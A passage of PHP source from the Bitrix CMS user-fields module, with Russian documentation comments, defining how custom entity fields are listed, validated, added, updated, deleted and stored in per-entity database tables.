	 * @param array $aSort ассоциативный массив сортировки (ID, ENTITY_ID, FIELD_NAME, SORT, USER_TYPE_ID)
	 * @param array $aFilter ассоциативный массив фильтра со строгим сообветствием (<b>равно</b>) (ID, ENTITY_ID, FIELD_NAME, USER_TYPE_ID, SORT, MULTIPLE, MANDATORY, SHOW_FILTER)
	 * @return CDBResult
	 * @static
	 */
	public static function GetList($aSort=array(), $aFilter=array())
	{
		global $DB, $CACHE_MANAGER;

		if(CACHED_b_user_field!==false)
		{
			$cacheId = "b_user_type".md5(serialize($aSort).".".serialize($aFilter));
			if($CACHE_MANAGER->Read(CACHED_b_user_field, $cacheId, "b_user_field"))
			{
				$arResult = $CACHE_MANAGER->Get($cacheId);
				$res = new CDBResult;
				$res->InitFromArray($arResult);
				$res = new CUserTypeEntity($res);
				return $res;
			}
		}

		$bLangJoin = false;
		$arFilter = array();
		foreach($aFilter as $key=>$val)
		{
			if(is_array($val) || strlen($val) <= 0)
				continue;

			$key = strtoupper($key);
			$val = $DB->ForSql($val);

			switch($key)
			{
				case "ID":
				case "ENTITY_ID":
				case "FIELD_NAME":
				case "USER_TYPE_ID":
				case "XML_ID":
				case "SORT":
				case "MULTIPLE":
				case "MANDATORY":
				case "SHOW_FILTER":
				case "SHOW_IN_LIST":
				case "EDIT_IN_LIST":
				case "IS_SEARCHABLE":
					$arFilter[] = "UF.".$key." = '".$val."'";
					break;
				case "LANG":
					$bLangJoin = $val;
					break;
			}
		}

		$arOrder = array();
		foreach($aSort as $key=>$val)
		{
			$key = strtoupper($key);
			$ord = (strtoupper($val) <> "ASC"? "DESC": "ASC");
			switch($key)
			{
				case "ID":
				case "ENTITY_ID":
				case "FIELD_NAME":
				case "USER_TYPE_ID":
				case "XML_ID":
				case "SORT":
					$arOrder[] = "UF.".$key." ".$ord;
					break;
			}
		}
		if(count($arOrder) == 0)
		{
			$arOrder[] = "UF.SORT asc";
			$arOrder[] = "UF.ID asc";
		}
		DelDuplicateSort($arOrder);
		$sOrder = "\nORDER BY ".implode(", ", $arOrder);

		if(count($arFilter) == 0)
			$sFilter = "";
		else
			$sFilter = "\nWHERE ".implode("\nAND ", $arFilter);

		$strSql = "
			SELECT
				UF.ID
				,UF.ENTITY_ID
				,UF.FIELD_NAME
				,UF.USER_TYPE_ID
				,UF.XML_ID
				,UF.SORT
				,UF.MULTIPLE
				,UF.MANDATORY
				,UF.SHOW_FILTER
				,UF.SHOW_IN_LIST
				,UF.EDIT_IN_LIST
				,UF.IS_SEARCHABLE
				,UF.SETTINGS
				".($bLangJoin? "
					,UFL.EDIT_FORM_LABEL
					,UFL.LIST_COLUMN_LABEL
					,UFL.LIST_FILTER_LABEL
					,UFL.ERROR_MESSAGE
					,UFL.HELP_MESSAGE
				": "")."
			FROM
				b_user_field UF
				".($bLangJoin? "LEFT JOIN b_user_field_lang UFL on UFL.LANGUAGE_ID = '".$bLangJoin."' AND UFL.USER_FIELD_ID = UF.ID": "")."
			".$sFilter.$sOrder;

		if(CACHED_b_user_field===false)
		{
			$res = $DB->Query($strSql, false, "FILE: ".__FILE__."<br> LINE: ".__LINE__);
		}
		else
		{
			$arResult = array();
			$res = $DB->Query($strSql, false, "FILE: ".__FILE__."<br> LINE: ".__LINE__);
			while($ar = $res->Fetch())
				$arResult[]=$ar;

			/** @noinspection PhpUndefinedVariableInspection */
			$CACHE_MANAGER->Set($cacheId, $arResult);

			$res = new CDBResult;
			$res->InitFromArray($arResult);
		}

		return  new CUserTypeEntity($res);
	}

	/**
	 * Функция проверки корректности значений метаданных пользовательских свойств.
	 *
	 * <p>Вызывается в методах Add и Update для проверки правильности введенных значений.</p>
	 * <p>Проверки:</p>
	 * <ul>
	 * <li>ENTITY_ID - обязательное
	 * <li>ENTITY_ID - не более 20-ти символов
	 * <li>ENTITY_ID - не должно содержать никаких символов кроме 0-9 A-Z и _
	 * <li>FIELD_NAME - обязательное
	 * <li>FIELD_NAME - не менее 4-х символов
	 * <li>FIELD_NAME - не более 20-ти символов
	 * <li>FIELD_NAME - не должно содержать никаких символов кроме 0-9 A-Z и _
	 * <li>FIELD_NAME - должно начинаться на UF_
	 * <li>USER_TYPE_ID - обязательное
	 * <li>USER_TYPE_ID - должен быть зарегистрирован
	 * </ul>
	 * <p>В случае ошибки ловите исключение приложения!</p>
	 * @param integer $ID - идентификатор свойства. 0 - для нового.
	 * @param array $arFields метаданные свойства
	 * @param bool $bCheckUserType
	 * @return boolean false - если хоть одна проверка не прошла.
	 */
	function CheckFields($ID, $arFields, $bCheckUserType = true)
	{
		/** @global CUserTypeManager $USER_FIELD_MANAGER */
		global $APPLICATION, $USER_FIELD_MANAGER;
		$aMsg = array();
		$ID = intval($ID);

		if( ($ID<=0 || array_key_exists("ENTITY_ID", $arFields)) && strlen($arFields["ENTITY_ID"])<=0 )
			$aMsg[] = array("id"=>"ENTITY_ID", "text"=>GetMessage("USER_TYPE_ENTITY_ID_MISSING"));
		if(array_key_exists("ENTITY_ID", $arFields))
		{
			if(strlen($arFields["ENTITY_ID"])>20)
				$aMsg[] = array("id"=>"ENTITY_ID", "text"=>GetMessage("USER_TYPE_ENTITY_ID_TOO_LONG"));
			if(!preg_match('/^[0-9A-Z_]+$/', $arFields["ENTITY_ID"]))
				$aMsg[] = array("id"=>"ENTITY_ID", "text"=>GetMessage("USER_TYPE_ENTITY_ID_INVALID"));
		}

		if( ($ID<=0 || array_key_exists("FIELD_NAME", $arFields)) && strlen($arFields["FIELD_NAME"])<=0 )
			$aMsg[] = array("id"=>"FIELD_NAME", "text"=>GetMessage("USER_TYPE_FIELD_NAME_MISSING"));
		if(array_key_exists("FIELD_NAME", $arFields))
		{
			if(strlen($arFields["FIELD_NAME"])<4)
				$aMsg[] = array("id"=>"FIELD_NAME", "text"=>GetMessage("USER_TYPE_FIELD_NAME_TOO_SHORT"));
			if(strlen($arFields["FIELD_NAME"])>20)
				$aMsg[] = array("id"=>"FIELD_NAME", "text"=>GetMessage("USER_TYPE_FIELD_NAME_TOO_LONG"));
			if(strncmp($arFields["FIELD_NAME"], "UF_", 3)!==0)
				$aMsg[] = array("id"=>"FIELD_NAME", "text"=>GetMessage("USER_TYPE_FIELD_NAME_NOT_UF"));
			if(!preg_match('/^[0-9A-Z_]+$/', $arFields["FIELD_NAME"]))
				$aMsg[] = array("id"=>"FIELD_NAME", "text"=>GetMessage("USER_TYPE_FIELD_NAME_INVALID"));
		}

		if( ($ID<=0 || array_key_exists("USER_TYPE_ID", $arFields)) && strlen($arFields["USER_TYPE_ID"])<=0 )
			$aMsg[] = array("id"=>"USER_TYPE_ID", "text"=>GetMessage("USER_TYPE_USER_TYPE_ID_MISSING"));
		if(
			$bCheckUserType
			&& array_key_exists("USER_TYPE_ID", $arFields)
			&& !$USER_FIELD_MANAGER->GetUserType($arFields["USER_TYPE_ID"])
		)
			$aMsg[] = array("id"=>"USER_TYPE_ID", "text"=>GetMessage("USER_TYPE_USER_TYPE_ID_INVALID"));

		if(!empty($aMsg))
		{
			$e = new CAdminException($aMsg);
			$APPLICATION->ThrowException($e);
			return false;
		}
		return true;
	}

	/**
	 * Функция добавляет пользовательское свойство.
	 *
	* <p>Сначала вызывается метод экземпляра объекта CheckFields (т.е. $this->CheckFields($arFields) ).</p>
	* <p>Если проверка прошла успешно, выполняется проверка на существование такого поля для данной сущности.</p>
	* <p>Далее при необходимости создаются таблички вида <b>b_uts_[ENTITY_ID]</b> и <b>b_utm_[ENTITY_ID]</b>.</p>
	* <p>После чего метаданные сохраняются в БД.</p>
	* <p>И только после этого <b>изменяется стуктура таблицы b_uts_[ENTITY_ID]</b>.</p>
	* <p>Массив arFields:</p>
	 * <ul>
	 * <li>ENTITY_ID - сущность
	 * <li>FIELD_NAME - фактически имя столбца в БД в котором будут храниться значения свойства.
	 * <li>USER_TYPE_ID - тип свойства
	 * <li>XML_ID - идентификатор для использования при импорте/экспорте
	 * <li>SORT - порядок сортировки (по умолчанию 100)
	 * <li>MULTIPLE - признак множественности Y/N (по умолчанию N)
	 * <li>MANDATORY - признак обязательности ввода значения Y/N (по умолчанию N)
	 * <li>SHOW_FILTER - показывать или нет в фильтре админ листа и какой тип использовать. см. ниже.
	 * <li>SHOW_IN_LIST - показывать или нет в админ листе (по умолчанию Y)
	 * <li>EDIT_IN_LIST - разрешать редактирование в формах, но не в API! (по умолчанию Y)
	 * <li>IS_SEARCHABLE - поле участвует в поиске (по умолчанию N)
	 * <li>SETTINGS - массив с настройками свойства зависимыми от типа свойства. Проходят "очистку" через обработчик типа PrepareSettings.
	 * <li>EDIT_FORM_LABEL - массив языковых сообщений вида array("ru"=>"привет", "en"=>"hello")
	 * <li>LIST_COLUMN_LABEL
	 * <li>LIST_FILTER_LABEL
	 * <li>ERROR_MESSAGE
	 * <li>HELP_MESSAGE
	 * </ul>
	 * <p>В случае ошибки ловите исключение приложения!</p>
	 * <p>Значения для SHOW_FILTER:</p>
	 * <ul>
	 * <li>N - не показывать
	 * <li>I - точное совпадение
	 * <li>E - маска
	 * <li>S - подстрока
	 * </ul>
	 * @param array $arFields метаданные нового свойства
	 * @param bool $bCheckUserType
	 * @return integer - иднтификатор добавленного свойства, false - если свойство не было добавлено.
	 */
	function Add($arFields, $bCheckUserType = true)
	{
		global $DB, $APPLICATION, $USER_FIELD_MANAGER, $CACHE_MANAGER;

		if(!$this->CheckFields(0, $arFields, $bCheckUserType))
			return false;

		$rs = CUserTypeEntity::GetList(array(), array(
			"ENTITY_ID" => $arFields["ENTITY_ID"],
			"FIELD_NAME" => $arFields["FIELD_NAME"],
		));

		if($rs->Fetch())
		{
			$aMsg = array();
			$aMsg[] = array(
				"id"=>"FIELD_NAME",
				"text"=>GetMessage("USER_TYPE_ADD_ALREADY_ERROR", array(
						"#FIELD_NAME#"=>htmlspecialcharsbx($arFields["FIELD_NAME"]),
						"#ENTITY_ID#"=>htmlspecialcharsbx($arFields["ENTITY_ID"]),
				)),
			);
			$e = new CAdminException($aMsg);
			$APPLICATION->ThrowException($e);
			return false;
		}

		unset($arFields["ID"]);
		if(intval($arFields["SORT"]) <= 0)
			$arFields["SORT"]=100;
		if($arFields["MULTIPLE"]!=="Y")
			$arFields["MULTIPLE"]="N";
		if($arFields["MANDATORY"]!=="Y")
			$arFields["MANDATORY"]="N";
		$arFields["SHOW_FILTER"] = substr($arFields["SHOW_FILTER"], 0, 1);
		if($arFields["SHOW_FILTER"] == '' || strpos("NIES", $arFields["SHOW_FILTER"])===false)
			$arFields["SHOW_FILTER"]="N";
		if($arFields["SHOW_IN_LIST"]!=="N")
			$arFields["SHOW_IN_LIST"]="Y";
		if($arFields["EDIT_IN_LIST"]!=="N")
			$arFields["EDIT_IN_LIST"]="Y";
		if($arFields["IS_SEARCHABLE"]!=="Y")
			$arFields["IS_SEARCHABLE"]="N";

		if(!array_key_exists("SETTINGS", $arFields))
			$arFields["SETTINGS"] = array();
		$arFields["SETTINGS"] = serialize($USER_FIELD_MANAGER->PrepareSettings(0, $arFields, $bCheckUserType));

		/**
		 * events
		 * PROVIDE_STORAGE - use own uf subsystem to store data (uts/utm tables)
		 */
		$commonEventResult = array('PROVIDE_STORAGE' => true);

		foreach (GetModuleEvents("main", "OnBeforeUserTypeAdd", true) as $arEvent)
		{
			$eventResult = ExecuteModuleEventEx($arEvent, array(&$arFields));

			if ($eventResult === false)
			{
				if($e = $APPLICATION->GetException())
				{
					return false;
				}

				$aMsg = array();
				$aMsg[] = array(
					"id"=>"FIELD_NAME",
					"text"=>GetMessage("USER_TYPE_ADD_ERROR", array(
						"#FIELD_NAME#"=>htmlspecialcharsbx($arFields["FIELD_NAME"]),
						"#ENTITY_ID#"=>htmlspecialcharsbx($arFields["ENTITY_ID"]),
					))
				);

				$e = new CAdminException($aMsg);
				$APPLICATION->ThrowException($e);

				return false;
			}
			elseif (is_array($eventResult))
			{
				$commonEventResult = array_merge($commonEventResult, $eventResult);
			}
		}

		if(is_object($USER_FIELD_MANAGER))
			$USER_FIELD_MANAGER->CleanCache();

		if ($commonEventResult['PROVIDE_STORAGE'])
		{
			if(!$this->CreatePropertyTables($arFields["ENTITY_ID"]))
				return false;

			$strType = $USER_FIELD_MANAGER->getUtsDBColumnType($arFields);

			if(!$strType)
			{
				$aMsg = array();
				$aMsg[] = array(
					"id"=>"FIELD_NAME",
					"text"=>GetMessage("USER_TYPE_ADD_ERROR", array(
							"#FIELD_NAME#"=>htmlspecialcharsbx($arFields["FIELD_NAME"]),
							"#ENTITY_ID#"=>htmlspecialcharsbx($arFields["ENTITY_ID"]),
					)),
				);
				$e = new CAdminException($aMsg);
				$APPLICATION->ThrowException($e);
				return false;
			}

			$DB->DDL("
				ALTER TABLE b_uts_".strtolower($arFields["ENTITY_ID"])."
				ADD ".$arFields["FIELD_NAME"]." ".$strType."
			", true, "FILE: ".__FILE__."<br>LINE: ".__LINE__);
		}

		if($ID = $DB->Add("b_user_field", $arFields, array("SETTINGS")))
		{
			if(CACHED_b_user_field!==false)
				$CACHE_MANAGER->CleanDir("b_user_field");

			$arLabels = array("EDIT_FORM_LABEL", "LIST_COLUMN_LABEL", "LIST_FILTER_LABEL", "ERROR_MESSAGE", "HELP_MESSAGE");
			$arLangs = array();
			foreach($arLabels as $label)
			{
				if(isset($arFields[$label]) && is_array($arFields[$label]))
				{
					foreach($arFields[$label] as $lang=>$value)
					{
						$arLangs[$lang][$label] = $value;
					}
				}
			}

			foreach($arLangs as $lang=>$arLangFields)
			{
				$arLangFields["USER_FIELD_ID"] = $ID;
				$arLangFields["LANGUAGE_ID"] = $lang;
				$DB->Add("b_user_field_lang", $arLangFields);
			}
		}

		// post event
		$arFields['ID'] = $ID;

		foreach (GetModuleEvents("main", "OnAfterUserTypeAdd", true) as $arEvent)
		{
			ExecuteModuleEventEx($arEvent, array($arFields));
		}

		return $ID;
	}

	/**
	 * Функция изменяет метаданные пользовательского свойства.
	 *
	 * <p>Надо сказать, что для скорейшего завершения разработки было решено пока не реализовывать
	 * такую же гибкость как в инфоблоках (обойдемся пока без alter'ов и прочего).</p>
	 * <p>Сначала вызывается метод экземпляра объекта CheckFields (т.е. $this->CheckFields($arFields) ).</p>
	 * <p>После чего метаданные сохраняются в БД.</p>
	 * <p>Массив arFields (только то что можно изменять):</p>
	 * <ul>
	 * <li>SORT - порядок сортировки
	 * <li>MANDATORY - признак обязательности ввода значения Y/N
	 * <li>SHOW_FILTER - признак показа в фильтре списка Y/N
	 * <li>SHOW_IN_LIST - признак показа в списке Y/N
	 * <li>EDIT_IN_LIST - разрешать редактирование поля в формах админки или нет Y/N
	 * <li>IS_SEARCHABLE - признак поиска Y/N
	 * <li>SETTINGS - массив с настройками свойства зависимыми от типа свойства. Проходят "очистку" через обработчик типа PrepareSettings.
	 * <li>EDIT_FORM_LABEL - массив языковых сообщений вида array("ru"=>"привет", "en"=>"hello")
	 * <li>LIST_COLUMN_LABEL
	 * <li>LIST_FILTER_LABEL
	 * <li>ERROR_MESSAGE
	 * <li>HELP_MESSAGE
	 * </ul>
	 * <p>В случае ошибки ловите исключение приложения!</p>
	 * @param array $ID идентификатор свойства
	 * @param array $arFields новые метаданные свойства
	 * @return boolean - true в случае успешного обновления, false - в противном случае.
	 */
	function Update($ID, $arFields)
	{
		global $DB, $USER_FIELD_MANAGER, $CACHE_MANAGER, $APPLICATION;
		$ID = intval($ID);

		unset($arFields["ENTITY_ID"]);
		unset($arFields["FIELD_NAME"]);
		unset($arFields["USER_TYPE_ID"]);
		unset($arFields["MULTIPLE"]);

		if(!$this->CheckFields($ID, $arFields))
			return false;

		if(array_key_exists("SETTINGS", $arFields))
			$arFields["SETTINGS"] = serialize($USER_FIELD_MANAGER->PrepareSettings($ID, $arFields));
		if(array_key_exists("MANDATORY", $arFields) && $arFields["MANDATORY"]!=="Y")
			$arFields["MANDATORY"]="N";
		if(array_key_exists("SHOW_FILTER", $arFields))
		{
			$arFields["SHOW_FILTER"] = substr($arFields["SHOW_FILTER"], 0, 1);
			if(strpos("NIES", $arFields["SHOW_FILTER"])===false)
				$arFields["SHOW_FILTER"]="N";
		}
		if(array_key_exists("SHOW_IN_LIST", $arFields) && $arFields["SHOW_IN_LIST"]!=="N")
			$arFields["SHOW_IN_LIST"]="Y";
		if(array_key_exists("EDIT_IN_LIST", $arFields) && $arFields["EDIT_IN_LIST"]!=="N")
			$arFields["EDIT_IN_LIST"]="Y";
		if(array_key_exists("IS_SEARCHABLE", $arFields) && $arFields["IS_SEARCHABLE"]!=="Y")
			$arFields["IS_SEARCHABLE"]="N";

		// events
		foreach (GetModuleEvents("main", "OnBeforeUserTypeUpdate", true) as $arEvent)
		{
			if (ExecuteModuleEventEx($arEvent, array(&$arFields))===false)
			{
				if($e = $APPLICATION->GetException())
				{
					return false;
				}

				$aMsg = array();
				$aMsg[] = array(
					"id"=>"FIELD_NAME",
					"text"=>GetMessage("USER_TYPE_UPDATE_ERROR", array(
						"#FIELD_NAME#"=>htmlspecialcharsbx($arFields["FIELD_NAME"]),
						"#ENTITY_ID#"=>htmlspecialcharsbx($arFields["ENTITY_ID"]),
					))
				);

				$e = new CAdminException($aMsg);
				$APPLICATION->ThrowException($e);

				return false;
			}
		}

		if(is_object($USER_FIELD_MANAGER))
			$USER_FIELD_MANAGER->CleanCache();

		$strUpdate = $DB->PrepareUpdate("b_user_field", $arFields);

		static $arLabels = array("EDIT_FORM_LABEL", "LIST_COLUMN_LABEL", "LIST_FILTER_LABEL", "ERROR_MESSAGE", "HELP_MESSAGE");
		$arLangs = array();
		foreach($arLabels as $label)
		{
			if(is_array($arFields[$label]))
			{
				foreach($arFields[$label] as $lang=>$value)
				{
					$arLangs[$lang][$label] = $value;
				}
			}
		}

		if($strUpdate <> "" || !empty($arLangs))
		{
			if(CACHED_b_user_field !== false)
			{
				$CACHE_MANAGER->CleanDir("b_user_field");
			}

			if($strUpdate <> "")
			{
				$strSql = "UPDATE b_user_field SET ".$strUpdate." WHERE ID = ".$ID;
				if(array_key_exists("SETTINGS", $arFields))
					$arBinds = array("SETTINGS" => $arFields["SETTINGS"]);
				else
					$arBinds = array();
				$DB->QueryBind($strSql, $arBinds);
			}

			if(!empty($arLangs))
			{
				$DB->Query("DELETE FROM b_user_field_lang WHERE USER_FIELD_ID = ".$ID, false, "FILE: ".__FILE__."<br>LINE: ".__LINE__);

				foreach($arLangs as $lang=>$arLangFields)
				{
					$arLangFields["USER_FIELD_ID"] = $ID;
					$arLangFields["LANGUAGE_ID"] = $lang;
					$DB->Add("b_user_field_lang", $arLangFields);
				}
			}

			foreach (GetModuleEvents("main", "OnAfterUserTypeUpdate", true) as $arEvent)
			{
				ExecuteModuleEventEx($arEvent, array($arFields, $ID));
			}
		}

		return true;
	}

	/**
	 * Функция удаляет пользовательское свойство и все его значения.
	 *
	 * <p>Сначала удаляются метаданные свойства.</p>
	 * <p>Затем из таблички вида <b>b_utm_[ENTITY_ID]</b> удаляются все значения множественных свойств.</p>
	 * <p>После чего у таблички вида <b>b_uts_[ENTITY_ID]</b> дропается колонка.</p>
	 * <p>И если это было "последнее" свойство для сущности, то дропаются сами таблички хранившие значения.</p>
	 * @param array $ID идентификатор свойства
	 * @return CDBResult - результат выполнения последнего запроса функции.
	 */
	function Delete($ID)
	{
		global $DB, $CACHE_MANAGER, $USER_FIELD_MANAGER, $APPLICATION;
		$ID = intval($ID);

		$rs = $this->GetList(array(), array("ID"=>$ID));
		if($arField = $rs->Fetch())
		{
			/**
			 * events
			 * PROVIDE_STORAGE - use own uf subsystem to store data (uts/utm tables)
			 */
			$commonEventResult = array('PROVIDE_STORAGE' => true);

			foreach (GetModuleEvents("main", "OnBeforeUserTypeDelete", true) as $arEvent)
			{
				$eventResult = ExecuteModuleEventEx($arEvent, array(&$arField));

				if ($eventResult ===false)
				{
					if($e = $APPLICATION->GetException())
					{
						return false;
					}

					$aMsg = array();
					$aMsg[] = array(
						"id"=>"FIELD_NAME",
						"text"=>GetMessage("USER_TYPE_DELETE_ERROR", array(
							"#FIELD_NAME#"=>htmlspecialcharsbx($arField["FIELD_NAME"]),
							"#ENTITY_ID#"=>htmlspecialcharsbx($arField["ENTITY_ID"]),
						))
					);

					$e = new CAdminException($aMsg);
					$APPLICATION->ThrowException($e);

					return false;
				}
				elseif (is_array($eventResult))
				{
					$commonEventResult = array_merge($commonEventResult, $eventResult);
				}
			}

			if(is_object($USER_FIELD_MANAGER))
				$USER_FIELD_MANAGER->CleanCache();

			$arType = $USER_FIELD_MANAGER->GetUserType($arField["USER_TYPE_ID"]);
			//We need special handling of file type properties
			if($arType)
			{
				if($arType["BASE_TYPE"]=="file" && $commonEventResult['PROVIDE_STORAGE'])
				{
					// only if we store values
					if($arField["MULTIPLE"] == "Y")
						$strSql = "SELECT VALUE_INT VALUE FROM b_utm_".strtolower($arField["ENTITY_ID"])." WHERE FIELD_ID=".$arField["ID"];
					else
						$strSql = "SELECT ".$arField["FIELD_NAME"]." VALUE FROM b_uts_".strtolower($arField["ENTITY_ID"]);
					$rsFile = $DB->Query($strSql, false, "FILE: ".__FILE__."<br>LINE: ".__LINE__);
					while($arFile = $rsFile->Fetch())
					{
						CFile::Delete($arFile["VALUE"]);
					}
				}
				elseif($arType["BASE_TYPE"]=="enum")
				{
					$obEnum = new CUserFieldEnum;
					$obEnum->DeleteFieldEnum($arField["ID"]);
				}
			}

			if(CACHED_b_user_field!==false) $CACHE_MANAGER->CleanDir("b_user_field");
			$rs = $DB->Query("DELETE FROM b_user_field_lang WHERE USER_FIELD_ID = ".$ID, false, "FILE: ".__FILE__."<br>LINE: ".__LINE__);
			if($rs)
				$rs = $DB->Query("DELETE FROM b_user_field WHERE ID = ".$ID, false, "FILE: ".__FILE__."<br>LINE: ".__LINE__);

			if($rs && $commonEventResult['PROVIDE_STORAGE'])
			{
				// only if we store values
				$rs = $this->GetList(array(), array("ENTITY_ID" => $arField["ENTITY_ID"]));
				if($rs->Fetch()) // more than one
				{
					foreach($this->DropColumnSQL("b_uts_".strtolower($arField["ENTITY_ID"]), array($arField["FIELD_NAME"])) as $strSql)
						$DB->Query($strSql, false, "FILE: ".__FILE__."<br>LINE: ".__LINE__);
					$rs = $DB->Query("DELETE FROM b_utm_".strtolower($arField["ENTITY_ID"])." WHERE FIELD_ID = '".$ID."'", false, "FILE: ".__FILE__."<br>LINE: ".__LINE__);
				}
				else
				{
					$DB->Query("DROP SEQUENCE SQ_B_UTM_".$arField["ENTITY_ID"], true);
					$DB->Query("DROP TABLE b_uts_".strtolower($arField["ENTITY_ID"]), false, "FILE: ".__FILE__."<br>LINE: ".__LINE__);
					$rs = $DB->Query("DROP TABLE b_utm_".strtolower($arField["ENTITY_ID"]), false, "FILE: ".__FILE__."<br>LINE: ".__LINE__);
				}
			}

			foreach (GetModuleEvents("main", "OnAfterUserTypeDelete", true) as $arEvent)
			{
				ExecuteModuleEventEx($arEvent, array($arField, $ID));
			}
		}
		return $rs;
	}

	/**
	 * Функция удаляет ВСЕ пользовательские свойства сущности.
	 *
	 * <p>Сначала удаляются метаданные свойств.</p>
	 * <p>Можно вызвать при удалении инфоблока например.</p>
	 * <p>Затем таблички вида <b>b_utm_[ENTITY_ID]</b> и <b>b_uts_[ENTITY_ID]</b> дропаются.</p>
	 * @param string $entity_id идентификатор сущности
	 * @return CDBResult - результат выполнения последнего запроса функции.
	 */
	function DropEntity($entity_id)
	{
		global $DB, $CACHE_MANAGER, $USER_FIELD_MANAGER;
		$entity_id = preg_replace("/[^0-9A-Z_]+/", "", $entity_id);

		$rs = true;
		$rsFields = $this->GetList(array(), array("ENTITY_ID"=>$entity_id));
		//We need special handling of file and enum type properties
		while($arField = $rsFields->Fetch())
		{
			$arType = $USER_FIELD_MANAGER->GetUserType($arField["USER_TYPE_ID"]);
			if($arType && ($arType["BASE_TYPE"]=="file" || $arType["BASE_TYPE"]=="enum"))
			{
				$this->Delete($arField["ID"]);
			}
		}

		$bDropTable = false;
		$rsFields = $this->GetList(array(), array("ENTITY_ID"=>$entity_id));
		while($arField = $rsFields->Fetch())
		{
			$bDropTable = true;
			$DB->Query("DELETE FROM b_user_field_lang WHERE USER_FIELD_ID = ".$arField["ID"], false, "FILE: ".__FILE__."<br>LINE: ".__LINE__);
			$rs = $DB->Query("DELETE FROM b_user_field WHERE ID = ".$arField["ID"], false, "FILE: ".__FILE__."<br>LINE: ".__LINE__);
		}

		if($bDropTable)
		{
			$DB->Query("DROP SEQUENCE SQ_B_UTM_".$entity_id, true);
			$DB->Query("DROP TABLE b_uts_".strtolower($entity_id), true, "FILE: ".__FILE__."<br>LINE: ".__LINE__);
			$rs = $DB->Query("DROP TABLE b_utm_".strtolower($entity_id), true, "FILE: ".__FILE__."<br>LINE: ".__LINE__);
		}

		if(CACHED_b_user_field !== false)
			$CACHE_MANAGER->CleanDir("b_user_field");

		if(is_object($USER_FIELD_MANAGER))
			$USER_FIELD_MANAGER->CleanCache();

		return $rs;
	}

	/**
	 * Функция Fetch.
	 *
	 * <p>Десериализует поле SETTINGS.</p>
	 * @return array возвращает false в случае последней записи выборки.
	 */
	function Fetch()
	{
		$res = parent::Fetch();
		if($res && strlen($res["SETTINGS"])>0)
		{
			$res["SETTINGS"] = unserialize($res["SETTINGS"]);
		}
		return $res;
	}
}

/**
 * Данный класс фактически является интерфейсной прослойкой между значениями
 * пользовательских свойств и сущностью к которой они привязаны.
 * @package usertype
 * @subpackage classes
 */
class CUserTypeManager
{
	const BASE_TYPE_INT = "int";
	const BASE_TYPE_FILE = "file";
	const BASE_TYPE_ENUM = "enum";
	const BASE_TYPE_DOUBLE = "double";
	const BASE_TYPE_DATETIME = "datetime";
	const BASE_TYPE_STRING = "string";

	/**
	 * Хранит все типы пользовательских свойств.
	 *
	 * <p>Инициализируется при первом вызове метода GetUserType.</p>
	 * @var array
	 */
	var $arUserTypes = false;
	var $arFieldsCache = array();
	var $arRightsCache = array();

	/**
	 * @var null|array Stores relations of usertype ENTITY_ID to ORM entities. Aggregated by event main:onUserTypeEntityOrmMap.
	 * @see CUserTypeManager::getEntityList()
	 */
	protected $entityList = null;

	function CleanCache()
	{
		$this->arFieldsCache = array();
		$this->arUserTypes = false;
	}
	/**
	 * Функция возвращает метаданные типа.
	 *
	 * <p>Если это первый вызов функции, то выполняется системное событие OnUserTypeBuildList (main).
	 * Зарегистрированные обработчики должны вернуть даные описания типа. В данном случае действует правило -
	 * кто последний тот и папа. (на случай если один тип зарегились обрабатывать "несколько" классов)</p>
	 * <p>Без параметров функция возвращает полный список типов.<p>
	 * <p>При заданном user_type_id - возвращает массив если такой тип зарегистрирован и false если нет.<p>
	 * @param string|bool $user_type_id необязательный. идентификатор типа свойства.
	 * @return array|boolean
	 */
	function GetUserType($user_type_id = false)
	{
		if(!is_array($this->arUserTypes))
		{
			$this->arUserTypes = array();
			foreach(GetModuleEvents("main", "OnUserTypeBuildList", true) as $arEvent)
			{
				$res = ExecuteModuleEventEx($arEvent);
				$this->arUserTypes[$res["USER_TYPE_ID"]] = $res;
			}
		}
		if($user_type_id !== false)
		{
			if(array_key_exists($user_type_id, $this->arUserTypes))
				return $this->arUserTypes[$user_type_id];
			else
				return false;
		}
		else
			return $this->arUserTypes;
	}

	function GetDBColumnType($arUserField)
	{
		if($arType = $this->GetUserType($arUserField["USER_TYPE_ID"]))
		{
			if(is_callable(array($arType["CLASS_NAME"], "getdbcolumntype")))
				return call_user_func_array(array($arType["CLASS_NAME"], "getdbcolumntype"), array($arUserField));
		}
		return "";
	}

	function getUtsDBColumnType($arUserField)
	{
		if ($arUserField['MULTIPLE'] == 'Y')
		{
			$sqlHelper = \Bitrix\Main\Application::getConnection()->getSqlHelper();
			return $sqlHelper->getColumnTypeByField(new Entity\TextField('TMP'));
		}
		else
		{
			return $this->GetDBColumnType($arUserField);
		}
	}

	function getUtmDBColumnType($arUserField)
	{
		return $this->GetDBColumnType($arUserField);
	}

	function PrepareSettings($ID, $arUserField, $bCheckUserType = true)
	{
		$user_type_id = $arUserField["USER_TYPE_ID"];
		if($ID > 0)
		{
			$rsUserType = CUserTypeEntity::GetList(array(), array("ID"=>$ID));
			$arUserType = $rsUserType->Fetch();
			if($arUserType)
			{
				$user_type_id = $arUserType["USER_TYPE_ID"];
			}
		}

		if(!$bCheckUserType)
		{
			if(!isset($arUserField["SETTINGS"]))
				return array();

			if(!is_array($arUserField["SETTINGS"]))
				return array();

			if(empty($arUserField["SETTINGS"]))
				return array();
		}

		if($arType = $this->GetUserType($user_type_id))
		{
			if(is_callable(array($arType["CLASS_NAME"], "preparesettings")))
				return call_user_func_array(array($arType["CLASS_NAME"], "preparesettings"), array($arUserField));
		}
		else
		{
			return array();
		}
		return null;
	}

	function OnEntityDelete($entity_id)
	{
		$obUserField  = new CUserTypeEntity;
		return $obUserField->DropEntity($entity_id);
	}

	/**
	 * Функция возвращает метаданные полей определеных для сущности.
	 *
	 * <p>Важно! В $arUserField добалено поле ENTITY_VALUE_ID - это идентификатор экземпляра сущности
	 * позволяющий отделить новые записи от старых и соответсвенно использовать значения по умолчанию.</p>
	*/
	function GetUserFields($entity_id, $value_id = 0, $LANG = false, $user_id = false)
	{
		$entity_id = preg_replace("/[^0-9A-Z_]+/", "", $entity_id);
		$value_id = intval($value_id);
		$cacheId = $entity_id . "." . $LANG . '.' . (int) $user_id;

		global $DB;

		$result = array();
		if(!array_key_exists($cacheId, $this->arFieldsCache))
		{
			$arFilter = array("ENTITY_ID"=>$entity_id);
			if($LANG)
				$arFilter["LANG"]=$LANG;
			$rs = CUserTypeEntity::GetList(array(), $arFilter);
			while($arUserField = $rs->Fetch())
			{
				if($arType = $this->GetUserType($arUserField["USER_TYPE_ID"]))
				{
					if(
						$user_id !== 0
